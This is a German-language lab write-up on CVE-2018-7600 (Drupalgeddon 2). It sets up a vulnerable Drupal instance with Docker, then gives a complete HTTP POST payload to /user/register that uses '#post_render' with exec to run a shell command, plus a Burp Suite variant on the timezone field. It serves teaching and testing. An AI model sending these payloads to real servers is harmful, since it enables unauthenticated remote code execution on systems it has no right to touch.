
Proof-of-concept-Exploit für CVE-2018-7600 (Drupalgeddon 2) mit einer Schritt-für-Schritt-Laboreinrichtung und Exploitation-Walkthrough mit Docker und Burp Suite.
(CVE-2018-7600)**
Drupal vor 7.58, 8.x vor 8.3.9, 8.4.x vor 8.4.6 und 8.5.x vor 8.5.1 ermöglicht es entfernten Angreifern, beliebigen Code auszuführen, da ein Problem mehrere Subsysteme betrifft, die Standard- oder gängige Modulkonfigurationen verwenden, einschließlich der Form API.
Referenzen:

Zuerst forkt man den Inhalt des entsprechenden vulhub, wie im folgenden Bildschirm zu sehen ist.

Danach wird der entsprechende Ordner als ZIP-Datei heruntergeladen und übernommen.

Die Inhalte im Zusammenhang mit drupal (CVE-2018-7600) werden entpackt und in mein Repository hochgeladen.

Nun konfigurieren wir die entsprechende Umgebung mithilfe dieses Repositorys in Docker.

Wie folgt wird mein Repository mit dem Befehl git clone geholt und mithilfe des Befehls cd in den Ordner gewechselt, in dem sich die Datei docker-compose.yml befindet.
Anschließend wird Docker mit dem folgenden Befehl im Hintergrund gestartet:
docker-compose up -d
Die Ausführung lässt sich wie folgt beobachten.

Man geht zur Adresse http://localhost:8080 und ruft die Drupal-Homepage auf.

Daraufhin erscheint der Bildschirm zur Konfiguration der Drupal-Umgebung und die Drupal-Homepage wird angezeigt.
Um den Exploit auszuprobieren, wird es wie folgt kurz eingerichtet.

Daraufhin wird es wie folgt geladen.

Anschließend werden weitere Einstellungen für die Site eingegeben (für eine schnelle Einrichtung des Exploits wird „test“ verwendet).



So sieht das endgültige Ergebnis nach Abschluss der Einrichtung der Drupal-Site aus.

In Anlehnung an a2u/CVE-2018-7600 kann die folgende Anfrage an drupal gesendet werden.
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
Da CVE-2018-7600 (Drupalgeddon2) eine Schwachstelle ist, die einen nicht authentifizierten Angriff versucht, bei dem Formularfelder über AJAX über /user/register manipuliert werden, kann man die Pakete auch mithilfe von Brup Suite verändern.
Zuerst ruft man über die Proxy-Site von Brup Suite die Registrierung auf, gibt einen beliebigen Wert ein und erfasst das Paket.

Mithilfe von Brup Suite wird das entsprechende Paket manipuliert.

Das Paket wird an den Repeater gesendet und am unteren Ende der folgende Code hinzugefügt:
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
Wenn anschließend Send gesendet wird, kann man beobachten, dass der Befehl OK wie folgt ausgegeben wird.

Um tatsächlich bösartigere Anfragen zu stellen, ist es beim CVE-2018-7600 (Drupalgeddon2)-Angriff zuverlässiger, den Angriff unmittelbar nach der Drupal-Installation (bevor der Drupal-Installationsassistent abgeschlossen ist) zu senden.